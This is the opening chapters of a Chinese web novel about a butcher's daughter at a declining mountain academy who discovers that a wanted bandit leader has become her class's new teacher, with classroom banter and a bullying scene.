《我的土匪夫子》
1. 书院!杀人啦!
花洲书院坐落于邓州南山之上,屹立百年,登第者达五六十人,封侯拜相之人不胜枚举。
随着朝廷在各地广开书院,花洲书院逐渐没落,实力大不如前。就如同这夕阳的般,虽然还是那么的美丽动人,却已失去往日光辉。
山路上有两道身影并肩而行,她们的影子被拉得很长。等走近些就能看到,是位穿着明艳华服的女子拽着质朴布衣的女子奋力前行。
“唐黎,咱们不能私自下山,会被杜学官责罚的。”布衣女子回头望向山门,满眼担忧。
“林焕,你胆子怎么还这般小。快些走吧,不然赶不上麟凤阁新出的饴糖呢。”唐黎伸手又要拉她道:“夫子被上官竹气病了,没人会注意到咱们下山的。”
“唐黎…我……”林焕又回头看了眼山门,她害怕被学官惩罚,毕竟她家中条件不好,能来书院已是山长的恩典。若因惹事被赶下山,不知该如何面对母亲对自己的期许。
“快啊,太阳都快下山了。”那边唐黎还在催促。
林焕垂下眼帘,可她同样不想让唐黎失望,这位她在书院里的唯一朋友。
唐黎看她那副纠结的模样,轻叹一口气放弃道:“罢了,你回山吧。若是有学官来查还是老规矩,替我遮掩过去。”说完不等林焕说话,提着裙子一路小跑直奔山下。
“唐……”林焕讪讪的收回手来。看了看唐黎离开的方向,又望向不远处的山门,林焕苦笑的摇摇头。
她与唐黎不同,唐家是官宦世家,而林家是世世代代杀猪匠。屠猪卖猪的人在市井上受欢迎,在这充满清流文人的书院中只会遭嫌弃。她抬起衣袖嗅了嗅,娘送来的衣物上充满薄荷的清香,让人心旷神怡。
紧接着耳边响起上山那天娘的嘱托。
“换娘啊,山长夸你算账又快又准,脑袋瓜伶俐,破例让你入书院。到了书院好好跟山长学,只要考过府试成为秀才,就能在咱们县衙当个账房。好过跟着我杀猪,干这损阴德的活计。”
……
“到了书院记得手脚勤快一点,嘴甜一些。莫要惹事,好好学才是正道。”
……
“诺,你最爱吃的柿饼,娘特意挑最贵的柿子做的。别光顾着自己吃,给同窗们也分些,礼多人不怪嘛。”
林焕掏出怀里的柿饼,咬上一大口这才扬起笑颜向着山门走去。
沉闷的鼓声在暮色中响起,林焕加快脚步,因为她知道再响起一遍鼓声山门就要关闭。焦急的她一没留神被阶石绊下了脚,膝盖直愣愣磕在石棱上,疼到她咬牙切齿。
不用想,肯定是流血了。
蹲下身来想缓缓劲儿,抬眸间注意到一旁的溪水泛着红光,随风而来的还有股子血腥味儿。
“血水?”
常年见惯杀猪的林焕对血并不惧怕。她并没多想,只当是山中倒霉受伤的鹿啊、羊啊,起身继续前进。
又走了几步察觉到不对劲儿,今日山中怎会如此安静?空中连一只飞鸟也没有。
寂静的环境下,溪水流淌的声音被无限放大,大到能击人心肺。
林焕环顾四周,不知怎么的她就是觉得周围危机四伏。眼看天要黑下来,心中胆怯的她不停地加快脚步,恨不得瞬移到山门前。
“哎!”又被绊上一跤,这次害她摔跤的不是台阶而是趴在地上的人。
那人头发遮面趴在路中间早已没了气息。林焕还当他是个活人,爬起来后立马询问道:“您还好吗?”
“……”
“我是花洲书院的学子,需要我上山叫人帮忙嘛?”
“……”
见那人一直不回话,林焕伸出手去的扒开他的头发。
满脸血污的男人,毫无生气的躺在那里。林焕顺着他伸长的手臂看去,手臂探进水中将整个溪水染红。
血……
“你们几个去那边看看!死要见尸,活要见人!”男人浑厚的声音响起。
林焕吓坏了,她一声都不敢吭以最快的速度缩到巨石后面。
“大哥!找到了!”原来他们在找溪边的受伤男人。
躲在石头后的林焕紧紧的捂住自己的口鼻,不敢露出一点声响。
“蔺二爷,人死了,这咋整啊。”他还不停的踢着尸体骂道:“妈的,这么不经打。”
“死人罢了,何必动气。”这人的声音语调颇为温柔,与方才扯着嗓子怒喊的人形成鲜明对比。但他的声音有些低哑,听起来甚是疲惫。
“二爷,这小子一死,王头儿的事……”汉子突然间不说话,氛围瞬间变得肃杀起来。
常年混江湖的人岂能连这点警惕性都没有?他们已经发现林焕的存在,一群人缓缓的拔刀逼向巨石。而巨石后面的林焕根本不知道自己已经暴露,只觉得头皮发麻说不出的心慌。
千钧一发之际,被唤作蔺二爷的人开口叫停众人道:“咱们走吧。”
依旧是那慢悠悠的语调,却让其他人不敢违背。
听到他们要走,林焕悬起的心终于放回肚子里。不仅如此,还起了好奇心偷偷的探出头来,正好撞见蔺二爷侧身。
一身布衣短打,清爽利索的游侠装扮。头发梳着的整齐,往下看却是满脸的落腮胡子。可以说这身打扮与他的嗓音并不相符。林焕有些失望的缩回脑袋,那么温润好听的声音,偏偏长着如此粗鲁的脸。
等脚步声远去,林焕扶着巨石站起身来,她没有往山门走去而是下山去衙门里报官。
死人可是大事,马虎不得。
山中的鼓声敲得沉重,很快被集市上喜庆的乐声掩盖。今日逢双开集,颇为热闹。街上人头窜动正是隐藏行动的好时机。
“蔺二爷,方才分明是有人偷听咱们讲话。”
“我知道。”
“那为何不动手?”
“不过是书院里贪玩的学子,没有什么威胁。今日那孩子怕是吓坏了。”他的语气中充满担忧。
“你还有闲工夫担心孩子呢。如今白虎山被朝廷剿得四分五裂。就你这二当家的人头,可值五千两白银!”
“哦,这么多嘛?”他笑着拱手道:“蔺渊谢过哥儿几个没有贪我的人头。”
“你与我们有恩,今日之事我黄彪也算报了恩。咱们丑话说在前头,日后再相见,这五千两我还是要拿的。”
蔺渊不紧不慢的拱手道:“不管如何,今日之事还要谢谢各位兄弟帮忙。”
黄彪等人齐齐拱手回礼道:“后会有期。”
众人分开散入人群,很快就消失不见。
林焕到衙门报官,辅助画师画下几副“凶手”模样,离开衙门时天已黑透。热闹的集市早已撤去,空荡的街巷中只有夜香郎拉着粪车经过。
“山门定是关了,我还是回家吧。”拿定主意的林焕,朝着家的方向走去。
殊不知她选择的是最危险的一条路。
……
“二当家的快走!”壮硕的汉子大刀横在狭窄的巷子,直接将路挡了个严实以此拦住四五个追兵。
“哥哥,跟我们走。”两个纤瘦的小子一左一右的架起蔺渊,拉着他来到相对安全的巷子之中。
“你们两个臭小子,
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我不是让你们改换身份,安安稳稳的过日子吗?怎么又拿起刀来?”被架着的蔺渊问道。
“雷正哥哥死了!”
蔺渊不可置信的回过头来,充满探究的眼神盯着兄弟二人。自己下山不过一年,白虎山怎会落到这番田地?
“是北号山的头领所为。大伙都等着你回山主持大局,为雷正哥哥报仇。”
“开路神方正勇?”蔺渊直接想到这个人。此人据山为王,也是位匪首。
“对!就是他!他和金刚屠里应外合偷袭大当家的,方正勇将大当家的头颅悬与寨门之上。我还听说北号山已经接受朝廷的招安,给了方正勇讨逆先锋的官职。”
蔺渊冷笑一声,眼底掩不住的怒火。但他却握紧拳头尽量平稳情绪道:“林大,林小听令。”
“在。”兄弟二人立马拱手道。
“即可返回林家村,不得再回白虎山。”
“哥哥?”林大抬眸满脸的不理解。
他的弟弟就比较直接,起身骂道:“蔺渊!你个忘恩负义之徒!大当家的对你不薄!忘了你当年丧家之犬的模样吗?忘了是谁让你坐到二当家的位子!”
蔺渊伸手覆上他的肩头,安抚道:“大哥之仇,我定然会报。你们正当壮年,在朝廷中又无前科记录,安稳生活才是你们的未来。”
“老子才不要什么安稳生活。老子就想大口吃肉,大口喝酒。与弟兄们聚在一起快活!”
蔺渊自知说不通,他抬手就是一掌将林小击晕,看向林大语重心长的道:“贼就是贼,匪就是匪。这些印记一旦刻到身上,是会钻进骨髓里的,甚至连累到你们的孩童。这也是我为什么劝兄弟们从善下山的原因。”
林大低下头道:“我知道哥哥是读书人。落草为寇你有太多委屈。白虎山对你有恩,你也认这个恩。但你同样恨我们强留了你,对不对?”
蔺渊直接背过身去道:“还是那句话。仇,我会报!但我的事与你们无关。”
林大抱拳道:“兄弟明白了,哥哥保重。”
巷子又回归安静,蔺渊本来笔直的身板佝偻起来。他抬头望天,一时间竟不知道该如何是好。
“咣当。”一旁堆积的箩筐尽数跌落,那里藏着一名女子,她颤巍巍的举着手道:“我什么都没听见,我什么也不会说!”
林焕不知怎么了,今天会这般倒霉。又让她碰到这土匪头子!
方才躲在箩筐后艰难坚持那么久,实在是腿蹲麻了,稍微活动一下这堆摆放不稳的箩筐就开始一个个跌落。
蔺渊捡起地上的箩筐,步步逼近林焕。林焕卑微的缩在墙角,不停的重复道:“我真的什么都没听见,好汉饶命!”
“嘘。”蔺渊示意她噤声,并将她套在箩筐下,颇有兴致的叠放箩筐。最下面的林焕哪敢出声,哆哆嗦嗦的蜷缩一团。
蔺渊边叠箩筐边盘算着近日发生的事。慢慢的那些毫无头绪的事情就像这些箩筐似的,一个叠一个的罗列在心中,逐渐排列有序。
他蹲下来,透过箩筐稀疏的空隙看向林焕道:“小姑娘闭上眼别出声,你会没事的。”他的声音很好听,但此时的林焕完全没有心情去听。
当她听到对方让自己闭眼时,就知道小命要玩完,一定会被杀人灭口!剩下的话她完全没有听到。
“呀!”
也不知道哪来的力气,林焕猛地起身顶开箩筐一把推开蔺渊,撒丫子就跑。那股儿力气如同激流般将蔺渊拍倒在地。
“呃。”蔺渊撑着身子爬了起来,揉着胸口道:“这姑娘,劲儿可真大啊,还真疼。”
2. 传说中的十八斋
林焕猛跑前进不敢回头,直到遇到巡街的官兵才敢放声大哭。她虽然一直在哭,却在描述内容时十分细致。包括蔺渊的样貌身形,甚至他与兄弟的对话丝毫不差的告知官兵。
领头小将也是据此识别出蔺渊的身份,带着一伙人前去捉拿。林焕则是在官兵的护送下安全到家。
至于蔺渊,就没那么幸运。
“恶贼!还不快束手就擒。”十来人的官兵将他团团包围。
还在叠箩筐的蔺渊回身,看到来人有点失望。要等的人没来,这群碍事的人倒是来的挺快。
小将厉声道:“蔺渊!识相的就放下武器,束手就擒!”
“我没有武器。”蔺渊扬了扬手道:“这只是普通的箩筐。”
小将打量着面前的土匪头子,坊间传闻白虎山的二当家是位读书人,而正因为这位读书人让一群强盗土匪长了脑子。偏居一隅祸害百姓还不满足,竟妄想造反!
“列阵!擒贼!”一声令下后官兵有序的排阵。
那位小将率先打头阵,一杆长枪舞的生龙活虎直冲蔺渊咽喉而去。蔺渊后退几步扔出手中的箩筐抵挡,长枪避开箩筐改变路径,这次朝他眼睛而去。
“叮!”是兵器相交的声音,一柄大刀为蔺渊挡住长枪的袭击。
“让老子来会会你。”壮汉抡着长刀所向披靡,白虎山众人及时赶到将蔺渊保护起来。
可惜来的人不多,与训练有序的官兵比起来多少力不从心。
蔺渊刚要捡起地上的武器,身旁壮汉大刀一挥斩杀名官兵。
“诶……石头,别!”没能拦住兄弟伤人,蔺渊心疼那倒地不起的官兵,年龄不过十六七,他是保家卫国的好儿郎,不该死于这街巷混战之中。
“住手!”蔺渊大喝一声。所有人鬼使神差的停下动作望向蔺渊。
“我跟你们走,前提是放过我的这些兄弟们。”蔺渊的条件一提,白虎山的兄弟率先不同意,纷纷说道:“二当家的,我们不走!”
“又不是打不过!”
“对,兄弟们给他们拼了!”
“都闭嘴!”蔺渊大喊之下有些破音。好在他的弟兄们还算听话,纷纷安静下来。他掏出手帕盖在那少年将士的脸上,郑重的拜上一拜。
小将眼中闪过一抹异样,没想到这土匪头子会如此敬重将士。
转念一想,如若真跟这伙人打起来恐怕还会折损兄弟,倒不如止戈换个土匪头子来的划算。这样自己与上头也算有个交代。于是他命令道:“放其他人离去。”
“多谢。”蔺渊拱手作揖,转身安排着兄弟们,厉声道:“若有人不走,山规处置!”
石泰这才在兄弟们的拉扯下不情愿的离开,独自留下的蔺渊竟无一丝惧怕之色。
小将冷哼一声。他不满意蔺渊如今的姿态,明明是匪类,面对官兵围剿偏做出个气定神闲的模样,忍不住嘲讽道:“蔺二爷果然有魄力。”
“魄力?”蔺渊捡起地上的箩筐摇头笑了笑。他又开始摆放箩筐,完全不理会身后的官兵。
小将也不催促,抱着枪紧紧盯着蔺渊的身影,就想看对方搞什么鬼。
直到将箩筐摆放整齐,蔺渊才满意的点点头,甚是轻松的长松口气。
说来奇怪,他从小就落了个病症,见不得不规矩的东西,尤其是在心烦意乱之际更是看不得。
若不将其归正啊,这心中像有只小猫似的抓挠,更加不快,为有拨乱反正才能使心中郁结消散。
“蔺二爷,可以走了吧?”看了半天的小将发话道。
“嗯。走吧。”蔺渊理理衣服,从容的伸出双手带上镣铐。刚走没几步,小将的长枪反手一扎,蔺渊好不容易摆放整齐的箩筐再次跌落一地。
“臭小子!你大爷的!”蔺渊像是换了个人似的破口大骂,方才气定神闲的神态如烟消云散。
“呦,急了?”小将脚尖微翘挑自己的长枪,得意的挑下眉。
“你!”蔺渊气极了,若不是被人辖制,估计早就扑上去。
“现在瞧着有点人样。”小将拍着蔺渊的脸道。
蔺渊的情绪逐渐稳定下来。这段时间遭遇的糟心破烂事太多,方才骂出几句心中确实顺畅不少。
谁知对方照着他的肚子就是一拳,冷声道:“小谷是因为擒你才丧命的。记住,你身上的血债又多上一笔。”
“咳咳。”蔺渊嘴角渗出血迹,他佝偻着腰,翻眼瞧着对方道:“你叫什么名字?”
“邓州兵马司长官史顾平安。”
“顾老弟,有空喝酒啊。”蔺渊艰难的直起身子。话说得简单,但声音听起来万分疲累。
“只要蔺二爷能活下来,什么都好说。”
蔺渊靠近他,高深莫测的低声道:“你放心,我命硬。”
顾平安微微点头,目视前方道:“人犯蔺渊验明正身,现下州府大狱!”
人群散去,太阳升起。若不是满地箩筐散落,昨晚的一切就仿佛没发生般。
…………
“缺德玩意儿!将老娘的箩筐弄得满地都是,你瞧瞧,还给捅了那么大的眼儿!”大娘一边收拾箩筐一边骂道。
“诶,这不是换娘嘛,怎么下山了?最近书读的怎么样呀?哟哟哟,长成大姑娘啦。”
“王大娘,早上好。”林焕点头哈腰的问好,脚下步子捯的飞快,转眼就消失在巷子的转角处。
“这孩子。”王大娘跟儿子一起收拾着箩筐道:“瞧见没?杀猪的都能去念书,你怎么就不能?”
“儿子不是没那脑子嘛,止步于县试喽。”
王大娘白了他一眼,嫌弃道:“大老爷们一个,还没有小娘子有脑子。”
“是是是,换娘聪明伶俐,那又如何。到时候不还得嫁做他人妇。哪像我这个傻儿子能伺候您到老。”
“就你嘴甜。”王大娘继续收拾箩筐道。正好空中飞过一群大雁,她的视线追随着大雁,发自内心的感慨道:“真好。”
儿子也停下手里的活道:“娘,您看什么呢?”
“你娘我啊,也就在这巷子里望望天。换娘若是过了府试,她可以走出县城,去看外边更广阔的天空。”
“您要是真羡慕她,年轻时怎么不去念书?去科考,也去做个官当当。也让儿子我威风威风。”
“臭小子你懂什么。虽说我朝男女都可科考,但毕竟男女有别,真正能当上女官的有几个?你再看那山上的书院,不还是男学子比女学子多?若是真考上,当了女官自然威风。若是考不上……”
她压低声音道:“城西的刘娘子,你知不知道?说是在书院里丢了清白,如今又痴又傻的,当年连累多少女学子嫁不出去。也就这几年大家淡忘那件事,才上赶着把姑娘们往书院里送。”
“真的假的?”提到风流韵事,儿子立马来了精神。
王大娘恨铁不成钢的拍他一巴掌,骂道:“脏心眼儿。”
悠扬的钟声敲响,林焕终于在上课前赶到学堂。她喘着粗气,就见唐黎冲她招手。
“行阿,比我还厉害。竟敢夜不归宿,过来,我要审你。”唐黎挑了下眉,故意逗着她。
“谁?谁夜不归宿?”前座的青袍男子转过身来,笑眯眯的伸手道:“二位姐姐,封口费。”
唐黎扔了块碎银子给他,林焕则是拿出两块柿饼,求着他道:“上官,你可千万别向杜学官揭发我们。”
上官竹并没有拿银子,他只拿过林焕的柿饼道:“放心。拿人手短,吃人嘴短。谁叫我最爱吃你娘做的柿饼呢。”
“行了,吃你的柿饼去。”唐黎推着上官竹离开,自己拉着林焕坐到最后一排道:“昨晚到底怎么回事?你以往不是最怕违反院规吗?”
“我…我昨天回山
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的时候,遇到死人了,就下山去报官。”回想起昨晚的事,林焕到现在都有些后怕。
“我的天!你一定吓坏了吧。”唐黎搂过林焕安慰着。
吃完柿饼的上官竹也来到后排,小声分享刚得来的消息:“你们听说没?咱们十八斋要来位新夫子。”
“你把老夫子气病了,可不就要安排新夫子,这有什么奇怪的。”唐黎不以为然道。
“听说还是进士出身。”
“进士?”略老的声音出现,前排座位上的中年男子回身道:“进士不去当官,来咱们这当夫子?还是十八斋的夫子?”
上官竹道:“老复你这话说的我不爱听,咱们十八斋怎么了?虽然排名第十八,那咱们也是花洲书院优秀的一斋。”
“………”
整个学堂安静极了,睁着眼说瞎话的上官竹完全不觉尴尬。
他起身略显浮夸的转个圈,来到贾复身边道:“咱们老复,四十有三,一直名落孙山。可那又如何,咱们医馆开的好,咱们马上就要抱孙子了,是不是?”
贾复十分汗颜的叹了口气。
上官竹又转了个圈来到最后一排,大袖一挥道:“再看看咱们的两位仙女姐姐。唐黎不用说了,只要她家高兴,大可炸了这山头,开荒种田。”
唐黎勾起嘴角,似笑非笑的盯着上官竹道:“我要是高兴也能炸了你家来当鱼塘。信不信啊?”
上官竹连忙作揖求饶,又来到林焕身边道:“我们的林焕精通算学,她可是山长特招入书院的。”
林焕偷瞥了眼上官竹虚搭在自己肩上的手有些羞涩,还未等她做出反应上官竹已经离开。
“来来来,再看看咱们的宝儿苏天赐,三岁识千字,五岁背唐诗,七岁熟读四书五经,十四岁便得府试魁首,谁敢比?谁能比!”
他摸了摸苏天赐的脑袋道:“宝儿,咱们今年努力,一定要十六岁前拿下乡试,那你就是邓州有史以来最年轻的乡试魁首!”
苏天赐抬手就贴张符纸在他的脑门上,淡淡地说道:“你中邪了。”
上官竹十分配合他,张牙舞爪的定在那里。唐黎同样起身配合,鼓掌道:“哎呀,咱们宝儿的符咒终于显灵了。”
“哈哈哈哈哈哈。”一时间学堂里笑闹不止。
“干什么呢!”带有怒气的女声猛然响起,来人快步走进学堂道:“都给我回到座位上!”
“遵命,我美丽的杜学官。”上官竹优雅的行了个礼。
“站住!”杜荷拽下他脑门上的符咒,撕得粉碎道:“子不语怪力乱神,你们这是要上天啊!”
没等学子们坐好,学官杜荷就开始训话道:“马上就要府试,能不能收收心。整个十八斋也就苏天赐和贾复过了府试。”
上官竹嘟囔地反驳道:“咱们斋拢共就五个人嘛,能过两个已经很厉害了。”
“你!”杜荷气的拍桌子道:“顽劣至极!”
“您说的没错,我就是个顽石。要不您行行好,把我罚出山门?”上官竹依旧嬉皮笑脸。
身后的唐黎直接踹向他的后背,上官竹忍不住痛呼出声,紧接着就听唐黎低声发出警告:“别想着离开书院,否则我真炸了你家。”
不服气的上官竹撅着嘴,托着腮,看着天空发呆。至于学官管教他的话完全充耳不闻、毫不在乎。反正这些话,他从小到大听多了,耳朵早就磨出茧子。
杜荷一个挨一个的数落,先是没收苏天赐的符咒,又是拿戒尺敲打上官竹几下。
对于年岁能当她爹的贾复,她无话可说。只好绕过他走向后排,将林焕的文章骂的狗血喷头。目光一错对上正襟危坐的唐黎,瞬间闭上嘴转身离开。
上官竹忍不住朝着唐黎比个大拇指,又冲林焕做了几个鬼脸,把还在反思文章的林焕给逗笑了。
瞧瞧,这就是十八斋的学子们。
3. 刚来就掉马吗?
“咳咳。”说累的杜荷抿了口茶润润嗓子,临走前嘱咐道:“你们的新夫子马上就要到了。别又把人给气走!复叔,看着点他们!”
“好。”贾复答应完就来到上官竹身边坐下。他的意思很明白,只要看紧上官竹十八斋就不会出任何问题。
不被信任的上官竹委屈巴巴的指着自己:“不是?老复,你什么意思?”
唐黎的声音在后排悠悠响起:“别忘了那位被你气晕的夫子依旧卧床不起。今天还是老实点吧,最起码让新夫子挺过一天。”
“好吧。”上官竹站起身,像是拿定什么主意,郑重的道:“既然我家姐姐发话,那我就把机关卸掉,饶新来的一命。”
眨眼间就见上官竹飞身上房梁,所有人的视线紧随其后。
林焕抬头问道:“上官,你还真设了机关?”
上官竹拿着机关飞身下来,十分帅气的落地,他将机关递给林焕道:“能连发六次的弩,比军队里配置的还要多上三发。你要是喜欢就送你。”
“谢谢。”经历昨天的混战,林焕急需武器防身。而善机关术的上官竹所做出的东西肯定不差。
上官竹慵懒的趴到林焕桌案前,一甩脑袋头的高马尾点点桌子道:“只有谢谢呀,没有谢礼吗?这可是我耗费半个月才做成的。”
少年清丽的眸子眨了眨,毫不避讳的盯着眼前的姑娘。他哪里是想要谢礼,不过是想逗逗林焕。每次看到林焕腼腆到低眸,就觉得她甚是可爱。
“我……”老实人林焕掏出怀里的柿饼道:“我只有这个,你若是不嫌弃就都拿走。”
“怎会?”上官竹拿过柿饼,潇洒的转过身。
唐黎撇撇嘴,对着臭屁的上官竹的椅背又一脚道:“就知道吃,小心滑胎。”
“我又不是女子,不怕。”
俩人斗嘴有来有回,唯独中间的林焕是懵的,她磕磕巴巴的插嘴道:“什么滑胎?谁滑胎?”
上官竹难得收敛笑容不再插话,背过身去认真啃着柿饼。
林焕就把探究的目光投向唐黎,唐黎脸色不自然的解释道:“坊间流传,柿饼吃多了能让女子滑胎。”
“哦哦哦。你懂得真多。”林焕满眼的崇拜。
唐黎微扯下嘴角笑了笑,其实她不是懂得多而是见得多,之前家里的某位姨娘害另一个姨娘滑胎用的就是这招。如果可以,自己真不想知道柿饼还有这么个用途。
“其实不然。”贾复回身,顺着胡子道:“柿饼虽为大寒,但是否能让孕妇滑胎,取决与孕妇的身体情况。医典言柿乃脾肺血分之果也。其味甘而气平,性涩而能收,故有健脾、涩肠、治嗽、止血之功……”
等贾复讲完柿子,以及柿饼的药理之后上官竹都打起呼噜来。新夫子也在钟声下迈着稳重的步子走进学堂。
“坏了!”上官竹猛的直起身道:“还有一个!”
可惜他说晚了,夫子的脚正丝毫不差踩在微微地板处突起的木块之上。
快箭一发不可收拾的发射出去。林焕连忙捂上眼睛,只听到箭钉到门上发出的嗡嗡声,以及贾复喊的那声夫子。
林焕不敢睁眼,问着一旁的唐黎道:“不会见血了吧?”
“上官竹向来有分寸。”唐黎端坐在最后一排,冷眼看着这场闹剧。她虽说是面无表情,但内心却有些期待。
这么无聊的日子,也该有乐子点缀。
可怜那新来的夫子还没开口讲话,就被上官竹安排的快箭准确无误的射中发髻。在贾复的帮助下狼狈的散开发髻,这才离开门的“束缚”。
夫子轻咳一声来缓解尴尬。他看了眼门上的快箭,后怕的长吁一口气。不过他并没有开口训斥,反而夸赞道:“君子六艺中也有射礼,准度不错嘛。”
听到这个熟悉的声音,林焕立马睁开眼睛甚至激动到打翻砚台,她的不安惹得唐黎询问道:“你怎么了?”
“他他......”林焕磕磕巴巴的不敢讲话,因为此刻的她正被一双眸子死死盯着,那眸子冷厉的宛如利刃般,若是眼神能杀人林焕早不知道死了多少回。
回想起昨晚情形,林焕后背的汗毛瞬间倒立,同样也在疑惑被官府追剿的土匪为何会成为书院夫子!
唐黎顺着林焕的视线看去,她不动声色的打量着新来的夫子。此人眉清目秀,面白须长。一身白色长衫,常规的书生打扮。打进屋来就一直笑眯眯的捋着胡子,看起来挺好相处的样子。
凑巧那夫子也看过来,二人四目相对,夫子微笑着道:“最后一排的那俩位学子,可是有什么问题?”
林焕的失态任谁都会注意,讲台上的那位默默的攥紧拳头。没想到会这么巧,又碰到昨天的那位姑娘。
“夫子,请。”贾复递上发簪,打断两方的互相打量。
蔺渊却没有接,他顺顺披散的长发:“无碍,复得自然。”
“夫子,君子死而冠不免。”贾复还是希望他能束好头发,不然披头散发的教书像什么样子。
蔺渊见他年岁要大上自己许多,没必驳了长者的意,于是恭敬的接过簪子道:“多谢学官。”
贾复急忙解释道:“我…我不是学官,是您的学生。”
“……”蔺渊束头发的动作明显一顿,他抬眸往下看去,方才进门狼狈没能认真打量,原来这些是我的学生啊。
头发泛白但恭敬有加的大叔;
头戴莲冠却稚气未脱的少年道士;
吊儿郎当把玩弓弩的公子哥;
也就后排的两位女学子看起来正常一点。
唐黎拉拉同桌的袖子道:“你这衣服都湿成这样,快回屋换换吧。”
林焕不敢抬头,她不知该如何是好。若是大声指认土匪身份,会不会给书院带来杀身之祸?
她又瞥了眼身旁的唐黎,对!唐黎会功夫,请她下山报官也许要稳妥一些。
“唐...”林焕还没开口,唐黎就大喇喇的起身,朝着夫子行礼道:“夫子,林焕的衣物被墨水打湿,实在失礼,可否让她回寓所更换衣物?”
“去吧。”蔺渊大袖一挥直接答应。
林焕没来及告知唐黎,便想着自己也可趁此机会下山报官。她起身道了告退,路过蔺渊时几乎是飞跑状态。
出了学堂,看着面前四通八达的路林焕长吁一口气。
花洲书院建在山间,东边木府为男学子们的居所,西边金府自然就是女学子们的居所。一东一西中间弯弯绕绕隔着有八里地,也避免男女学子之间非必要的接触。
正值讲学时间,宽阔的路上无一位学子,独自走在路上的林焕显得无比突兀,很快她就被人拦住。
“林焕?”巡察的杜荷皱起眉头。在她眼中的林焕虽然文章写的不好,但却是个实实在在的好姑娘。逃学的事情不应该发生在她身上。
“你的衣裳是怎么了?哎呀呀,这几日秋风正紧可别着凉,怎么这么不小心。”杜荷掏出手帕给林焕擦着衣物。
她这人虽然严厉,对学子们的心却是真诚。所以大家对于这位杜学官更多的是敬爱,连调皮捣蛋的上官竹都对她礼让三分,平日里油嘴滑舌的逗她开心。
“杜学官。”林焕一把拉住杜荷的手。她遇到长辈十分激动,恨不得把所有一切都说出来。
杜荷倒是先开了口:“新夫子如何?对你们可还尽心?我听山长说,这位夫子可是位二甲进士,头些年在京中还做过官呢。你们几个跟着夫子好好学,日后科考也是个帮衬啊。”
二甲进士?
京官?
不是土匪嘛?
林焕一时间糊涂。自
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己不可能认错人,更何况昨晚是面对面、眼对眼看的一清二楚。还有那声音,分明就是同一人!
难不成……难不成此人杀了夫子,然后顶替夫子身份进书院!?
天啊!土匪到底要作甚,书院清贫也没有可抢之物。
“杜学官,那屋里的夫子是强人,他冒充新来的夫子!”
“你这孩子胡说什么。咱们书院的夫子入院都要经过山长的亲自考核,岂是阿猫阿狗能随便进的,若真是强人,第一关就过不去。再说了人家蔺夫子是南衙统领举荐的,又怎会作伪?”
“许是念过书的土匪!”
杜荷笑着点点林焕的额头道:“你这小脑袋瓜里到底装的什么,哪个正经读书人会落草为寇?读书人的气节、风骨还要不要啦?”
“是不是报了官就知道。”林焕迈腿就往山门走,她现在执着于报官。她不允许自己的书院受到一丁点的伤害。
却被杜荷拉住道:“孩子,你到底在闹什么?”转念又觉得林焕的状态不对,连忙握住她的手柔声道:“可是蔺夫子欺负你了?别怕,你只管说,有我呢。”
林焕把昨晚的事都全盘托出。杜荷听后无比震惊,她安抚着林焕道:“此事我已知晓,我这就下山报官。你一切照旧,在我回来之前千万不要惊动新夫子,必须稳住他,明白吗?”
嘱咐完学生杜荷就匆匆忙忙朝着山门走去。
此事交给杜学官,林焕胸口那块大石头可算落下。她抬头看了眼天色快到正午。回学堂与土匪共处一室她做不到坦然处之。干脆提着食盒去饭堂,想着一会儿叫唐黎回寓所吃饭,顺便跟她也交代清楚这件事。
林焕提着食盒离开饭堂时,正好碰到下学的高峰。
“呦,这不是林换娘嘛?”女子拉高的声音,听起来有些尖锐刺耳。
“赵柯师姐好。”林焕乖巧的问好。
赵柯却捏着鼻子道:“快些走吧,满身的腥臭味,熏的人难以下咽。”
尖酸刻薄的语调很快引起周围人的注意。随着围观的人越来越多,林焕的耳朵也越来越红。但她依旧勇敢的反驳道:“我的身上没有味道,浆洗衣服前我娘都会用薄荷浸泡。”
“前几日我都见她身边萦绕着苍蝇,还说没有腥臭味。”又有人补上一句,说得煞有介事。
“夏已尽,如何会有苍蝇?”林焕反驳注定无力。她面庞越涨越红,看着众人似笑非笑的表情,不知道为何大家都不愿意相信自己。
赵柯笑着道:“既然没有腥臭味,洗衣服前为何要泡薄荷水?岂非迟地无银三百两啊?”
“赵师姐,我与你无冤无仇,你为何处处针对我?”林焕带上哭腔,她强忍着不让泪水落下。
林焕是四年前入的书院,那时她还在第五斋,不知道怎么就得罪到赵柯,惹得她处处讥讽,甚至带着其他同窗孤立林焕。
那时候林焕在书院就宛如透明人般。她想过反抗辩解,可没人理会,她就算将所有的怨气化作拳头,也只是捶到棉花上般无声无息。林焕甚至希望赵柯能对自己动手,那样还能有个还手的由头。好过如此窝囊。
赵柯看她提着食盒,又出言讥讽:“拿着寒酸的柿饼到处去送,不知道大家都不敢吃嘛。谁知道是什么烂果子脏果子做的,都丢茅房里去喽。”
才不是什么烂果子,那是我娘在集市挑的最好的柿子。我自己都不舍得吃的东西,让你们这样作贱!
林焕在心中不停的反驳,可她说不出口,因为她知道说再多也没有的。
这时她的脑海中闪过唐黎的话:“往往武力更能解决问题。”
“欺人太甚!”今日的林焕忍无可忍,她将食盒狠狠的放在桌上,死死瞪着赵柯,一副要干架的模样。她身材高挑,膀子又壮,把小她一圈的赵柯唬得退后两步。
4. 危机四伏的书院
“呦,跟谁装横呢。别忘了,打架斗殴是会被赶出书院,你要是被赶出书院就只能一辈子杀猪。
反正你也不怕,毕竟当年能背一整扇猪招摇入山门,还怕干回老本行嘛。
行了,师妹别在这哭鼻子。不知道还以为我们以大欺小呢。”赵柯得意的笑了几声。
林焕的拳头再也忍不住,她直接打了出去,却在空中被一双大手拦截下来。
“上官?”林焕抬眸正好对上上官竹那抹笑容,他眨眨眼示意她放心。
上官竹甩开扇子并跳上桌子道:“今日夫子留题,名为复得自然。各位师兄师姐们,此题何论?”
众人一脸懵,热闹看得好好的,怎么就开始论上题。而且还是十八斋的浪荡子提出来的,太阳打西边出来了?
上官竹悠哉的晃着扇子,在桌上边走边说:“古往今来,入学是要交束脩的。现如今咱们的束脩被金银所代替,在我看来此乃大俗!
林焕背一整扇猪肉入山门,除了是她求学的束脩,更是对山长的敬重。
那上千石阶有人走上来都费劲,更可况背着一整扇猪的小小姑娘?这不就更能体现她求学的决心?你我连写文都崇古,林焕的束脩崇古,为何讥讽?”
“这都能扯回来?”人群中的蔺渊微微皱眉。
圣人曰纳于言而敏于行,巧舌如簧从不是君子引以为荣的德行,拥有上百年历史的花洲书院不该教出这样的学子。
陪着夫子围观的贾复回答道:“上官竹向来机敏,只是这心没用到正道。多加管教,定能成材。”
